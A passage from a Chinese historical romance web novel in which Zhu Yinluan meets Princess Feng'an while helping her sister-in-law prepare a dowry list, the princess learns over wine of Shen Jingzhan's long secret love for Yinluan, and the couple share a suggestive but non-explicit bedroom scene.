正走神想着,听到沈蔻玉的声音。 转头看去,见她和一个姿态张扬的红衣女子从廊下走过来。 这女子,祝吟鸾从未见过。 但她在心头猜测,很有可能是沈蔻玉的手帕交,奉安公主。 事实如此,两人行至眼前,沈蔻玉介绍便说是奉安公主。 远远一见,祝吟鸾便隐隐察觉奉安公主姿态张扬,到眼前了,更觉得她明艳高贵。 奉安公主与她见过的任何女子都不同,她的身上泛着与生俱来的高贵。 尽管只着了一身红衣,发鬓上没簪多少珠钗玉环,只坠了一支累金凤的流苏,也无法叫人忽视她的存在。 更别提她举手投足间满是说不上的恣意散漫,她的眉梢眼尾泛着妩媚风情,一眨一动之间,令人心动。 祝吟鸾看她的时候,奉安也在看她。 说实话,奉安见祝吟鸾的第一眼,感受与姚姿相同。 惊艳,十分惊艳。 京城盛出美人,这祝家女绝对能独占一“芳”春色。 众人见了礼数,沈蔻玉问她们适才在说什么悄悄话? 施家两姐妹不想当着沈蔻玉的面说卫家的事情,更何况还有奉安公主在,于是打算转移了话茬。 却不料,奉安公主居然会看唇语。 她直接捅破,提了卫家,施家两姐妹只能尴尬笑着说是随口一提。 “京城人纷传此事,走哪都有人在说,想不听都难了。”奉安公主拿起一个玉轮把玩,散漫道。 施从苑正要转移话茬,不防备奉安公主话茬说在前面,她道, “按理说家丑不可外扬,这卫家的消息却在三五日间闹得满城风雨,真不知道是谁在其中推波助澜?” 奉安公主说这句话的时候,笑着看向祝吟鸾。 下一息她话锋再转,“会不会是沈世子啊?” 第65章 第65章“鸾儿还满意吗?” 奉安公主这话一出,别说被她看着的祝吟鸾吓了一跳,就连沈蔻玉和施家两姐妹都愣了神。 “这关哥哥什么事?”最先反应过来的沈蔻玉第一个帮着沈景湛反驳。 她给奉安公主倒茶。 奉安公主问是不是青绿山涧,若是的话她不要,她只吃六安茶。 “公主大驾光临,自然准备的是您最喜欢的六安茶了,哪里敢怠慢。” 祝吟鸾听着沈蔻玉的口风便知道两人的关系是真的很好。 沈家纵然是高门之首,却也争不过皇族,毕竟可是君臣之分。 奉安公主在京城的风评虽然不好,但尊贵的身份摆在那,更重要的是,她很得皇帝的宠爱。 有天子的宠爱,别说是京城了,就是整个天下都可以横着走的。 奉安公主的性格不拘,在不曾得知沈蔻玉下琉州是去赈灾救济之前,祝吟鸾的确担心沈蔻玉和奉安公主交好,不好应对相处,尤其是听人说了奉安公主倾慕沈景湛。 可嫁到沈家之后,与沈蔻玉相处了一段时日,得知她心直口快,是个性情中人,便也放心了,重要的是,沈蔻玉如此爽利,那奉安公主只怕也不会差的。 祝吟鸾还从沈蔻玉的口中得知了,她下琉州赈灾的大部分钱财都是奉安公主拨的,不仅如此,奉安公主还帮她走通了不少的门路,解决了很多麻烦。 两人在背地里做了许多惠民利民的好事,却从来没有要过一点好名声,别说什么好名声,为着养面首的事情,奉安公主在京城简直是声名狼藉,背地里总有很多人说她的不是,碍着她的身份不敢闹到明面上,她从不解释。 因此,祝吟鸾对这位奉安公主也忍不住诧异,甚至还有些许好奇。 今儿见她,真真是不同凡响。 听沈蔻玉说先前她又往公主府里收了一个戏子,对方不怎么乐意,奉安公主没了耐性却又喜欢,便直接动了一些手腕,强.取.豪.夺。 不料闹出风雨,在朝堂之上被科臣给参了,陛下倒说没什么,只是太后得知了此事很不满,便出面管束,将奉安公主禁了足,若不是沈蔻玉结亲,只怕她还放不出来。 祝吟鸾还在想,奉安公主说这句话究竟是个什么意思? 她提到了沈景湛。 话茬虽听着奇怪,且又是看着她说的,但祝吟鸾却感受不到对方的敌意。 祝吟鸾思来想去决定不吭声,但奉安公主似乎并不打算止住这个话茬。 她吃了茶水之后先是回了沈蔻玉,说怎么不可能,“这件事情若是按坐收渔翁之利来谈,沈世子没有占利么?” 沈蔻玉啧了一声,“就卫家那一身一尾的官司,哥哥占什么利,不惹一身臊都算不错了,公主可不要当着我嫂嫂的面胡说啊。” 背对着祝吟鸾,沈蔻玉给奉安公主挤眉弄眼,示意她不要乱说话,这可是在沈家,处处都是他哥哥的眼线,万一传到他哥哥的耳朵里,惹怒哥哥就不好了。 闻言,奉安公主但笑不语,目光还是瞧着祝吟鸾。 祝吟鸾都被她看得有些许莫名其妙的不自在和忐忑起来。 少顷,奉安公主坐下之后,单手撑着脸颊,又问祝吟鸾,“少夫人说是不是?” 已经问到面前来了,就算是再怎么视而不见也不能不给个回应。 祝吟鸾没想好措辞,原想着礼貌笑笑便算了。 还没笑呢,施家姐姐施从微已经跳出来打圆场,“鸾儿妹妹久居内宅,这些事情她很不清楚,卫家的事情还是我们说了她才知道的,公主勿怪啊小妹你看看这个单子,我有没有写错漏的地方。” 施从苑也趁机递过来狼毫笔,起身跟祝吟鸾换了一个位置,变相“挡”住了奉安公主瞧祝吟鸾的目光。 沈蔻玉清咳一声,趁乱再次朝着奉安公主递了一个眼神,示意她不要再提卫家的事情了。 来的路上都已经跟她说好了,当着祝吟鸾的面要稍微收敛一些,可别乱说些什么,尤其是她的哥哥的事情,因为她哥哥在祝吟鸾面前那是一等一的温润有礼。 奉安公主当时虽然嗤笑了一下,问她怎么个温润有礼?沈蔻玉说不上来,只道总归在别人面前是不一样的。 怕再出岔子,沈蔻玉无声提醒她别忘记来时答应的事情。 这次奉安公主给了面子,放下茶盏道,“今日的六安做得不错,蔻玉妹妹再给我端一盏来?” 只要住嘴什么都好说,沈蔻玉连忙就去给她斟茶倒水。 这件事情勉强揭过了。 绕回沈蔻玉要成亲的事上,众人 在一处给沈蔻玉对着嫁妆单子,帮她伺弄成亲要用的内室物件,以及各类私房。 沈蔻玉的女红功夫还可以,但她本来就不想成亲,做得很是敷衍,能丢给小丫鬟的全都不沾手。 为了管束她,沈夫人这才叫了施家姐妹还有祝吟鸾一道帮忙,如今又添了一个奉安公主。 沈夫人想着众人一道说说笑笑,到底能够宽慰宽慰沈蔻玉,且都是已经成亲的妇人了,也能跟沈蔻玉说说这成亲的好处,别叫她整日臊眉耷眼,垂头丧气。 令祝吟鸾意外的是,奉安公主竟然不会做女红,她只说能够帮忙对记嫁妆礼单,那一手狂草写得张狂恣意,全然不像是出自姑娘家的手笔。 好看归好看,沈蔻玉说不成,若不写簪花小楷,回头她母亲见了又要说她乱来。 祝吟鸾便继续接受誊写的活。 奉安公主说她核对嫁妆,念给她写,忙碌当中不知不觉又坐到了祝吟鸾身边来。 施从苑和施从微原本还盯护着她,但得了沈夫人的嘱咐,今儿得让沈蔻玉绣好红盖头和剩下的嫁衣,两人要看针线,自然便顾不上这边了。 加之奉安公主收了一开始的询问之后,与祝吟鸾的交流往来都很正常,没什么问题,就稍微放了心。 在忙碌靠近的期间,祝吟鸾闻到奉安公主靠过来时身上所带的胭脂香味,攥着笔的手下意识一顿。 对方察觉到她下意识的警惕,看了她一眼,只是笑笑,挑了挑眉梢。 祝吟鸾就这样莫名其妙和奉安公主共起事来,在此之前她几乎想都不敢想。 沈蔻玉作为沈家最受宠的姑娘,出嫁的嫁妆丰厚自然不必说了。 沈家各房长辈都给送了,平辈们也赠了不少贺礼,以及各个世家相互交好的姑娘都不曾落下。 祝吟鸾作为嫂嫂也出了一份,不过她那一份大部分都是沈景湛添给的。 礼单簿子要对得仔细,就害怕出什么差错,尤其是平辈以及各世家小姐送的,日后逢年过节得还,毕竟是人情世故往来。 祝吟鸾记账,奉安公主帮她对数,两人之间诡异的和谐,竟没有生出丝毫的不愉,忙碌的光景总是过得很快,转眼便到了用晚膳的时辰。 管事的婆子和妈妈们前来接手清点归入箱笼,众人也就起了身,移步正厅去。 今日家里有客人,沈夫人特意吩咐了膳房要好生准备饭菜,长房的人也都到了正厅用膳。 沈家的大人们是一道回来的,这些时日朝政忙碌,祝吟鸾白日里几乎也见不到沈景湛。 殿试泄题的案子差不离拖到现在,近乎三个月了,牵扯的官员众多,一个个查下来十分的棘手,更主要的是有姚太尉牵扯其中,不好直接裁决。 陛下让沈景湛去查他的老师,这事本就为难,祝吟鸾洞悉敏锐,但她是后宅妇人,却也说不上什么,只能叮嘱他万事小心。 亲长们全都在一道,沈家人多,可祝吟鸾还是老远便在众多男人里见到了沈景湛。 他的身量面相实在是太出众了,在一.干.人里,十分的打眼。 祝吟鸾起身去迎,沈夫人叫她注意身子,坐着等就好了。 家中女眷们个个都是站着,唯独祝吟鸾得厚爱能够坐下,视线忍不住投到她这边来。 祝吟鸾不想成为焦点,还是站了起来,她跟在沈夫人身边没有说话。 在她瞧过去之时,远处绕过垂花门的沈景湛也看了过来。 两人的视线在空中无形.交汇。 男人瞧见了家中等待的她,薄唇微勾起来,俊逸的眉梢浮上笑意。 祝吟鸾见他看着她在笑,眼神不自觉微微躲闪。 沈景湛还没到眼前,可她也不知道是怎么了,一对上他的视线,就总觉得羞赧,扛不住这样跟他对着瞧。 尤其在人前,他对着她笑什么? 一会平辈的妯娌们又要打趣笑闹她了。 “” 沈家人对于两人的黏糊已经有些习惯了,唯独奉安公主觉得新奇有趣。 原来沈蔻玉说过的,沈景湛变得无比温润,是这副模样么?没有见到之前,奉安公主还以为沈蔻玉在骗人,没有想到竟是真的? 的确很稀罕,她从未见过沈景湛这般笑过,毕竟往前的他一直清冷狠厉,不苟言笑。 笑?他几乎从未用正眼瞧过谁家的姑娘,也从未为谁停留过。 奉安公主的目光从不远处收回,看向侧前方的祝吟鸾。 这祝家女着实生得窈窕,也就是方才沈夫人说了,奉安公主这才想起来,祝家女已经怀胎两月多了,今日午时见她,全然记起这件事情。 因为人瘦,她的腰身看不出有什么变化,其实若非她梳着妇人的发髻,从侧边看着真跟少女没什么两样。 沈景湛居然真的喜欢这样的姑娘。 文静柔弱,话少娇怯。 甚至还嫁过人。 沈景湛不过是多瞧她几眼,对着她笑了笑,她都不敢与他对视,躲着他,侧颈耳根已经有些许浮上红润了。 这样胆小。 可说到胆小,今儿初见,奉安公主并不觉得祝吟鸾胆小。 若真的胆小,今日恐怕都不敢跟她共事了,这倒是微妙有趣。 祝家女并不令她排斥。 对于奉安公主的到来,沈景湛并不欢迎,尤其是见到她与祝吟鸾站到一处时,脸上的笑意瞬间收敛。 面对奉安公主的搭话,他甚至没有给面子搭理,接过祝吟鸾到他身边后,便将冷然的目光投到沈蔻玉的身上。 沈蔻玉被自己兄长看得身上起毛,连忙拉着奉安公主上别处坐下。 由于是背对着,祝吟鸾站在沈景湛后面,并没有瞧见他看向沈蔻玉时的脸色有多冷,多沉,多吓人。 因为沈景湛转过来面对她时,已经恢复了如沐春风,她哪里想得到他变脸如此之快。 “鸾儿今日在家还好吗?”他几乎每日都会询问她在家的细则,从不嫌厌烦。 祝吟鸾照旧回他,小夫妻两人说着话。 奉安公主多看了几眼,沈蔻玉不得不伸手将她的脸转过来,低声让她别看了。 “为何不能看?”奉安公主明知故问。 沈蔻玉不好跟她继续说这件事,便转移话茬,给她夹菜让她多用些。 “……” 天热了沈老太太受不住,并没有离开韵梅堂。 沈家的席面分了几桌,大人长辈们自然在上位,奉安公主身份高,当然也得在主桌,但因为她想要跟着沈蔻玉,就去了主桌旁边的位置,沈夫人劝不住,只能由着。 祝吟鸾几次感受到奉安公主投过来的视线,并没有回头看去。 用过晚膳,沈景湛还得跟着沈侯爷去书房商讨事宜。 他本来是要先送祝吟鸾回院子。 但奉安公主.插.嘴道,“此刻时辰尚早,沈世子何必这么早把少夫人送回房,让她在这边陪我们一道说说话都不好么?” 沈景湛冷冷的目光扫过来,眼看着要发作,奉安公主身边的人都下意识瑟缩起来,唯独奉安公主不怕他,还在说,“众人都在这儿,少夫人一个人回院子待着多闷啊,少夫人说是不是?” 瞧着氛围不对,怕起争端,祝吟鸾只能顺着话跟沈景湛说让他先去忙,她在这边待着没什么事,一会自己会回去的。 沈景湛却说她身子骨不好操劳,还是先回吧。 “我也想在回去的路上,单独同鸾儿说说话。”他道一整日没见她了。 他又是在人前这样讲什么一整日,虽然小声,但身边的人保不齐都听见了。 祝吟鸾面色浮现不自然。 她正想着怎么圆场。 不妨沈夫人刚送了施家姐妹出院子,正在外厅吩咐人盯着沈老太太的汤药别忘了,得知了这边的事,三两步绕过屏风外面走进来。 祝吟鸾再没开口。 沈夫人跟奉安公主说了一声祝吟鸾的身孕还没有过头三月,以太医嘱咐了要让她多多歇息为由,叫祝吟鸾先走。 到 底是在沈家做客,沈夫人的面子,奉安公主不会拂却。 她笑着说好,“是奉安思虑不周了,见了少夫人觉得亲切,今儿忙着又没说上几句话,这会子无趣,便想同她聊聊,却忘了她还有身子。” 说着说着,还道她的库房有上好的白参,可以在夏日里吃,明儿就让人送来以作赔礼。 奉安公主的礼周到,祝吟鸾也温言细语回了。 离开了正厅,很快就绕到长廊,祝吟鸾还没有跟沈景湛提起今日发生的事情,便听到沈景湛与她道,让她少跟奉安公主接触。 虽然可以理解,毕竟奉安公主的脾性乖张,但祝吟鸾还是觉得丝丝奇怪。 她反问为何? 面对身边人的询问,沈景湛并没有道出真正的原因。 只是讲他从前与奉安公主有过节,怕她趁他不在为难她。 祝吟鸾道没有,随后追问,“夫君可以同我说说,你和公主之间有什么过节么?” “鸾儿不知道?”他这样讲。 祝吟鸾回想起很久之前卫明烟办宴请客,在席面上听到的事情。 便说是奉安公主在宴会上曾经表露出对沈景湛有意? 但是被沈景湛给拒绝了?当时似乎还闹得很难看?具体是怎么一回事,她已然有些许记不清楚了。 因为那会子她心里装着卫家的事情,即便是听了也没有放到心里去,只记得模模糊糊的一个大概。 她摇头道不知。 沈景湛笑,“看来在我们成亲之前,鸾儿对我一点都不在意与关注。” 祝吟鸾不防备,只在心里默默嘀咕,沈景湛怎么忽而说到这个? 若说一点在意与关注都没有也不对。 实际上在遇到沈景湛之前,因为两人经常偶遇,明芽和姣惠便时常在耳畔提起,加之他本身优越,她顺着她二人的话茬不由自主之间会想到他,注意到他 说到这件事情,很早之前,她在卫家受了委屈,一度对卫如琢失望,整夜不得安眠之时,姣惠问她没有想过和离? 还说她堪配世上最好的郎君,当时明芽说京城最好的郎君是沈景湛,问她也能相配么? 姣惠一本正经说可以。 那是第一次,有人把她和沈景湛的名字放在一处,还谈及了姻缘。 那时候的她只觉得好笑,并没有任何的想法,可此刻再回想起来,却觉得不可思议,以为她真的已经是沈景湛的枕边人了。 除此之外,祝吟鸾还想到那个有些时日没.做.过的梦境,她后来怀疑过处在她梦境当中的人是不是沈景湛。 因为她接触过的男子实在太少,而一靠近沈景湛便总会带给她莫名其妙的熟悉感,她有一段时日魔怔的怀疑沈景湛是不是她梦中的“他”。 真讲起来,两人说开之后,她便没有这样想过了,很少理会留意那股莫名其妙泛上来的熟悉感了。 总之,她眼下也还是觉得熟悉的,一靠近沈景湛便觉得熟悉。 “鸾儿怎么不说话,你在想什么?”男人的嘴角噙着淡淡的笑,仿佛已经洞悉她心中所想,却没有开口戳穿,只是反问。 她心中所想的事情自然是不好说了,祝吟鸾清咳一声,“没、没想什么。” “真的吗?”他罕见的追问,还道,“不如让我猜猜看?” 听到一个猜字,祝吟鸾心下一惊,害怕沈景湛猜中说出她的心事,就跟兔子急眼一样,连忙道,“你不要猜!” 不仅如此,她还停下来看着他。 她的反应已经说明了一切,却以为瞒天过海。 他的祝吟鸾怎么那么可爱? 男人居高临下瞧着她紧张兮兮仰起来的小脸,“为何不叫猜?” “鸾儿这般,莫不是——” 沈景湛说话直接,祝吟鸾是见识过的,眼下虽然静谧,可小丫鬟和仆妇随从们还跟在后面,万一传到后面跟着的人的耳朵里。 祝吟鸾连忙上前一步,都快要踮脚伸手去捂住他的嘴了,但她还是没有这样胆大,只是难为情扯着他的袖子,朝着他摇头,止住了他的话茬。 沈景湛的视线从她略显着急的小脸,缓缓往下落到她拽着他袖子的嫩白细指上。 “真的没有什么,我们不要说了。”她催催促着他快些走,“一会公爹不是还找夫君有事么?可别耽误了。” 难得见她不松手扯着他的袖子往前走。 俊逸的男人脸上笑意加深,长腿微微迈大了一些,毫不费力跟上她。 她遮掩情绪不愿意回头,低着脸快步在前面走。 而他瞧着她染上红霞的嫩白后颈,笑意始终无法减退。 两个主子亲近,跟在后面的小丫鬟们自然是乐见其成,尤其是明芽和姣惠。 沈景湛送了祝吟鸾回去,并没有立刻走,而是陪着她梳洗,说了会子话,才从院子里出去。 离开了她的身边,男人脸上的笑意瞬间消失殆尽,展露他在人前真正的本色,也是祝吟鸾从未见过的样子。 却说祝吟鸾跟着沈景湛走了之后。 沈蔻玉和奉安公主也没有在正厅坐多久。 奉安公主留宿沈家,沈夫人很早就派人给她收拾了院落,可奉安公主却没有在那边歇息。 梳洗过后,便偷偷带着从宫内带出来的好酒过来找沈蔻玉。 两人在庭院的望月亭中品酒闲话。 沈蔻玉不想成亲,脸上失意明显,话没说两句,酒水已经吃了大半。 见她借酒浇愁,怕是一会要醉,奉安公主夺走她面前的酒盏,“我这可是进贡的好酒,瞒着我父皇偷拿的,全京城只这一坛,你这般牛饮,岂不是糟蹋了?” “就属你小气,多吃几口而已,就要夺人杯盏了?”沈蔻玉心里不畅快,当下便滋了回去,还哼了一,说若是不乐意给她吃酒,便早点回她的院子去。 “瞧你,成个亲要死要活的,那赵家公子除却身子弱了些,不也是一表人才么,还有人说他的相貌不输你哥哥呢,若是身子骨不这样差,说不定还能够跟你哥哥一较高下。” “你夸得这么好,当初你怎么不收他入你的公主府呢?”没了人在,沈蔻玉说话也没有太多顾忌了。 奉安公主往后一倒瘫靠着,直接抬脚放到了亭台的凭栏之上,一派不拘。 “我倒是想啊,只可惜人家赵公子对我无意啊,我虽然贵为公主,却也不能强人所难吧。” 沈家同赵家是世交,沈蔻玉和赵谨白自幼便相熟了,幼年时在国子监沈蔻玉还保护过被欺负的赵谨白。 自此他便喜欢跟在沈蔻玉后面,有人打趣过赵谨白,为何总跟着沈蔻玉,莫不是想要娶她么?当时赵谨白看着沈蔻玉红了脸。 “你也好意思说这种话?”沈蔻玉又是一记冷哼,“往日里抢的人还不够多?” 奉安公主笑了一下,“再怎么抢,也不能抢到世家上去。”何况还是赵家的独苗,真要出这样的事情,父皇一定会打断她的腿。 “总归他身子骨不好,这些年听说越发下不来床榻了,你嫁过去几年,指不定人就没了呢,届时日子还不好过?” 奉安公主又宽慰沈蔻玉许多句。 沈蔻玉听到亲事就烦,让她别说了 ,命小丫鬟给她送了新的酒盏,接着倒酒吃。 静默了一会,奉安公主果真没有再提,她打听问起祝吟鸾和沈景湛是怎么相识的? “我听人说,那祝家女跟卫家的和离没有多久,便嫁给了你哥哥?” “前后不过一月的光景?”奉安公主追问。 当时她在禁足,沈家的婚宴都不能来。 “怎么,你还惦记我哥哥啊。”沈蔻玉让她别惦记,彻底没戏了。 “为何?”奉安公主挑眉。 “因为哥哥很喜欢嫂嫂,眼里容不下别的人了。” “世间男子对于情爱岂有长久专注的?”奉安公主嗤笑。 说不是朝三暮四,见异思迁。 若非沈蔻玉吃了酒,心中又难过,对方又是她的手帕交,否则她定然不会说出这句话。 “可是哥哥真的喜欢嫂嫂很多年了啊。” “很多年?”奉安公主疑惑。 沈蔻玉钝钝地点着头,连声嗯,声音拖得很长很长。 “很多年是多少年?”奉安公主疑问。 与此同时她想起来一件事情,早些年中意沈景湛却得不到他,强取行不通,沈景湛可不是等闲之辈那么好招惹。 于是,她头一次去求了她的父皇,想要她的父皇给她指婚。 听到指婚两个字,她的父皇倒是点头了,奉安那会还以为这桩婚事能成,却没有想到,她的父皇说沈景湛拒绝了。 当时沈景湛给的借口是他早有心悦的姑娘,此生只要她一人。 那会奉安公主就不信,只觉得沈景湛瞧不上她,又在宴会上闹了一会,想要逼他当众上“梁山”。 却没有想到沈景湛根本不受弹压,三言两语推了回来,反而叫她的皇祖母大发雷霆,狠狠教训了她一顿。 也是那一次,两人梁子结下了。 这事还没完呢,沈景湛背地里遏收了不少她在京城的营生,令她银钱短缺,一度捉襟见肘。 他做得极其隐蔽,抓不到一点把柄,险些将她手里挥霍的本钱都全都给折了。 奉安找了不少沈家人,沈老太太和沈夫人去游说都没有让沈景湛高抬贵手。 从那时候,奉安公主和沈景湛彻底结下了梁子。 记恨归记恨,最后没有办法,她不得不求到了皇祖母那边,让皇祖母出面,这才勉强平息了此事。 平息是平息了,她折进去大半的铺子,缓了几年才慢慢回流。 “一二三四五六”沈蔻玉掰着手指头数来数去,数到十,她还在接着数,“反正十多年,好多年了。” 奉安公主半信半疑,“祝家庶女深居简出,跟你哥哥怎么会认识?” “这要问哥哥,我只是在哥哥的书房里见到过嫂嫂少时的画像。” 奉安公主听得起劲,“少时的画像?你确定是祝家庶女的么?” “是啊,哥哥后面也画了不少嫂嫂的画像呢。”沈蔻玉笑着竖起食指,她嘘了一声,“这是我偷偷发现的,哥哥不知道,你可不要往外说” 沈蔻玉的酒劲上来了,她还在小口小口的喝着,人的意识晕乎,说话也变得毫无防备,甚至到了口无遮拦的程,可是她毫无察觉。 “沈世子中意了祝家女这么多年,她可曾知道?” 约莫是不知道的吧。 不仅如此,她似乎对沈景湛的脾性都知之甚少。 果不其然,沈蔻玉晃着手指又摇头,示意不知道。 “哥哥不让人说。” “为何不叫说,这不是好事么?” 能得沈世子多年青睐,如此情意,为何不敢说?莫不是有什么蹊跷? 沈蔻玉打了一个酒嗝,“不知道” 奉安公主陷入沉思,又想到近来卫家发生的事情,若说跟沈景湛没有任何的关系,她是决计不相信的。 “” 沈景湛今日回来得比往日要早。 祝吟鸾方才躺下合上眼,便听到外面传来动静。 “夫君怎么那么早就回来了?”她听到动静索性起身。 沈景湛解开身上的斗篷递给随从,边净手边跟她说夜里凉,让她不要起身,怕招风受寒。 “事情差不多收尾,父亲只是叮嘱我一些事情,并没有太多要忙的公务。” 祝吟鸾看着沈景湛清洗着他修长如玉的手。 温热的水漫过他的骨节,真的令人赏心悦目,由衷感叹漂亮。 另一方面却又难以想象,男人这般漂亮的手,指腹和掌心都很粗粝。 思及此,祝吟鸾免不了想到粗粝磨过柔软的感受,会引起怎样的轻颤。 没有人比她更清楚,沈景湛指腹的粗粝都厉害在什么地方了。 她的手指攥紧了被褥,圆润嫩白如珍珠的脚也蜷缩起来。 沈景湛见她果真乖乖坐在床榻边沿等着。 姑娘乌发白衣,琼鼻樱唇,瞳眸水润,眉眼漂亮,忍不住心头一软。 他进入浴房之前,朝她走近,伸手碰了碰她柔软的长发,柔声问她怎么没有睡。 尽管沈景湛温柔,可他身形过于健壮,他每次靠近的时候,祝吟鸾都觉得心跳加剧,甚至有些说不上来的慌张。 她往里面微微缩了缩,“原是要歇了,不料夫君今日回来得很早。” 看着她略显羞赧的脸,活像是有人采摘的蜜桃。 沈景湛指尖微动,给她掖了掖锦被,“我去沐浴,嗯?” 他的声音压低了一些,越发显得磁沉,钻入人的耳朵里,直酥麻至心尖上。 祝吟鸾的睫羽不受控制的微颤,她为了掩饰自己的不自然,催促沈景湛快去。 见状,男人低声闷笑,“好。” 祝吟鸾想要在沈景湛出来之前歇息,可越是想要入睡,就怎么都难以入眠。 一直到沈景湛沐浴净身出来了,她还是没有入眠。 害怕又起旖旎,祝吟鸾索性闭上眼睛假寐。 她自以为外表装得毫无破绽,却不知她的呼吸早已出卖了她。 沈景湛上榻之后,没有如前一般将她整个人揽抱过来,而是侧过身子,慵懒撑着头颅在看她“熟睡”的睡颜。 分明是静默无声的,祝吟鸾却在无形当中紧张加剧,她原本有的一丝丝睡意都消失了。 这一切来源于沈景湛长久停留在她脸上的视线。 他究竟还要看到什么时候?做什么一直瞧着她? 祝吟鸾原本想要多忍忍,可沈景湛的视线实在强烈到让人无法忽视。 她此刻又是“熟睡”的状态,不好直接睁眼,若是睁眼,岂不是就会让沈景湛发现她根本就是在装睡了吗? 思来想去,祝吟鸾佯装不经意了一个身,翻朝里面去,背对着沈景湛。 原以为她转过去之后,这样就会好了。 却没想他还是不动。 视线如芒在背的感觉比方才好不到哪里去。 他还在看。 他究竟在看什么? 被他这样盯着,祝吟鸾纵然是钻在被褥里都觉得不自在。 正当祝吟鸾暗暗思忖着怎么办的时候。 她听到了旁边传过来的动静。 窸窸窣窣。 沈景湛动了吗? 男人看着眼皮子底下姑娘“竖”起来的耳朵,暗觉好笑。 他越凑越近,直到完全笼罩上来。 沈景湛还没有抱住她,便已经感受到了她加快的呼吸。 这么紧张吗? 薄唇弧度越发往上勾起。 不只是沈景湛察觉到她呼吸不平稳,祝吟鸾亦感受到了,他悉数吹拂到她后颈的温热。 一下接着一下。 不只是热,还有些许痒。 祝吟鸾忍不住轻轻抿咬唇瓣。 此刻她庆幸自己是背对着沈景湛的,否则一定会被他看见她抖动的睫毛,异常的神色。 可是……背对着沈景湛,他就没办法发现了吗? 祝吟鸾忽而觉得可能性不大。 以沈景湛的足智多谋,说不定早就发觉了,他是故意这样看着她的吧? 正 当祝吟鸾这样在心中想着时,沈景湛从后面揽抱上来了。 男人的声音在耳畔随之响起,带着少见的戏谑,“鸾儿是睡醒了吗?” 祝吟鸾,“……” 他果然知道了。 明明知道,却还一直在旁边逗弄她。 祝吟鸾咬唇,不理他的话,往里侧瑟缩进去,拉开两人之间的距离,不叫沈景湛抱她。 男人仿佛没有察觉到她的动作。 从后面追了上来,长臂一揽,大掌攥着她的腰身,将她整个人裹到了怀中去。 祝吟鸾的后背贴到了男人的胸膛,真真切切感受到了他强有力的心跳,也闻到了他身上清冽的气息。 她抬起眼睫,倒是没有继续挣扎了,却没有想到,沈景湛带着她翻身,两人的位置互换,这会子成了面对面。 祝吟鸾的躲闪在他的视线所及范围之内无所遁形。 瞧着怀中人的小脸,沈景湛俯身过去,轻吻在她的额面。 薄唇落下的一瞬间,祝吟鸾浑身不受控制的轻颤起来,有关与男人行房的亲密画面在脑中闪过。 刻在骨子里的感觉也随之漂浮涌现,她攥紧了被褥。 轻柔的吻在她眉眼流转了一会之后顺延着鼻梁骨往下,祝吟鸾的轻颤越发厉害了。 她都不知道是怎么了,沈景湛一吻她,甚至还没有触碰上唇,她便觉得自己的反应实在是太大了。 两人的亲密还是在上一次,那一日他说难受,然后便…… 话说回那一日,虽然并没有真的做了什么,可除了那什么,差不离也都有了。 想到他吻入,探春水深浅之时的试探动作,祝吟鸾忍不住蜷缩起了腿。 从来不知道她竟也会有这样频繁的.情.欲波动。 跟之前比起来的确是频繁了。 先前都是逆来顺受,可跟着沈景湛之后,她体会到了鱼水之欢的乐趣,尝到了身子骨异样别致的舒坦。 所以他一碰她,她便会想到很多……很舒服的伺候。 但此刻不能胡闹。 也不知道是不是身怀有孕的缘故,祝吟鸾觉得她比之前敏感很多很多。 会跟身孕有关系吗,她不知道。 她唯一知道的事,要阻止沈景湛,不能继续往下了,待会一发不可收拾,难以控制。 于是她的手隔在两人的中间。 祝吟鸾的本意是阻隔,却没有想到,沈景湛的中衣不知何时拉开了。 他捏着她的手腕,带着她的手居然探入中衣里面。 直接触碰到他的胸膛,他的腹肌。 祝吟鸾虽然也曾碰过,却没有这样细致的触碰。 男人的腹肌…硬.邦邦的,线条的起伏,用手触碰都能感受到其中的走势。 祝吟鸾的注意力被短暂转移走了,她无意中跟着沈景湛一点点摸索而去,男人啄吻她的鼻尖,气息湿热。 薄唇至于她唇瓣之上的一小寸停留下。 他没有直接吻下来。 但两人的呼吸,在无形当中,融汇,勾.缠。 氛围变得很热,很黏,很稠。 然后祝吟鸾听到了,男人性感低沉的轻.喘。 一下接着一下,受过压抑的隐忍后一点点透过鼻端和薄唇,哼声.溢.出。 祝吟鸾的耳朵,面颊红润不止,她的呼吸也在无形当中加重。 再往下就很危险了,她的手正要往回缩,止步于安全之地。 岂料,不等她回转,沈景湛已经带着她的手往回。 这一次也是缓缓往上摸爬,比方才要更仔细些许。 祝吟鸾除却触碰到了男人的腹肌线条,还感受到了他的人鱼线,再侧一些,有青筋蔓延遍布。 这还不算明显,她碰过沈景湛的臂膀,上面横成的青筋好似壮阔的山河脉线。 祝吟鸾慌乱想着,她紧张。 指腹往回收时,划过中间,因为沈景湛在喘息,她的指腹甚至深凹陷入。 祝吟鸾仿佛受惊般往回缩,沈景湛还在捏着她的手腕。 他贴着她的脸,蹭着她的面颊问她,“鸾儿摸得还满意吗?” 第66章 第66章“舒服又满意…” 她的手指还停留在他腹肌线条凹陷处,手腕被他给牢牢捏住,一时之间进退两难。 被他这么一问,祝吟鸾越发觉得面红耳赤,她的面颊完完全全红到了发烫的程度。 沈景湛怎么可以这样问她? 不对,他这说的都是些什么话? 什么叫她摸得可还满意? 他是把她,又把他自己当成什么人了? 这样听着钻到耳朵里,就就好似烟花柳巷里的恩客和姑娘。 至于谁是恩客,谁是姑娘。 似乎两人之间的身份还调转了一些,祝吟鸾觉得她像是恩客,而沈景湛是 这样的想法实在是不好,她怎么能够把堂堂侯府世子,三省之一的中书大人比成那个什么呢? 这是不对的,若是被沈景湛给猜出来,指不定都要与她恼怒了。 祝吟鸾尝试了一下,想要自己以巧劲儿把手给收回来,但是沈景湛却不松开,他的手掌实在是太大了,就这么施加了一些力道而已,她便难以挣脱。 祝吟鸾自问不是软弱的人,但是困在沈景湛的手里总是毫无招架之力。 他分明还在喘息,可腰腹却不大幅度动了,所以她的手被卡在他的腹肌中间的凹陷里。 祝吟鸾不得不开口说话,“你夫君你松开我。” 情急之下,她似乎又忘记要叫沈景湛夫君了,幸而及时反应过来。 可眼下还有更尴尬的事情,因为两人之间的距离太近了,他本就贴着她的脸,蹭着她的面颊,如今就算是微微拉开距离说话,却也还是很近。 所以,在她开口之后,唇瓣便若有似无碰到了男人的薄唇,仿佛在与他索吻,接吻。 即便是没有彻底吻上去,祝吟鸾却也已经感受到了男人的气息缠绕在她的脸上,让她产生了两人已经接吻过的错觉,此刻正在等着换气,歇息呢。 “鸾儿还没有回答我,究竟满不满意?” 明明知道她适才不开口又转移话茬,便是回答不上来,沈景湛为何还要一直逼问? 她抿着唇,低敛着眼睫,不只是神色,就连声音都泛着躲闪,“你不要问我这个。” 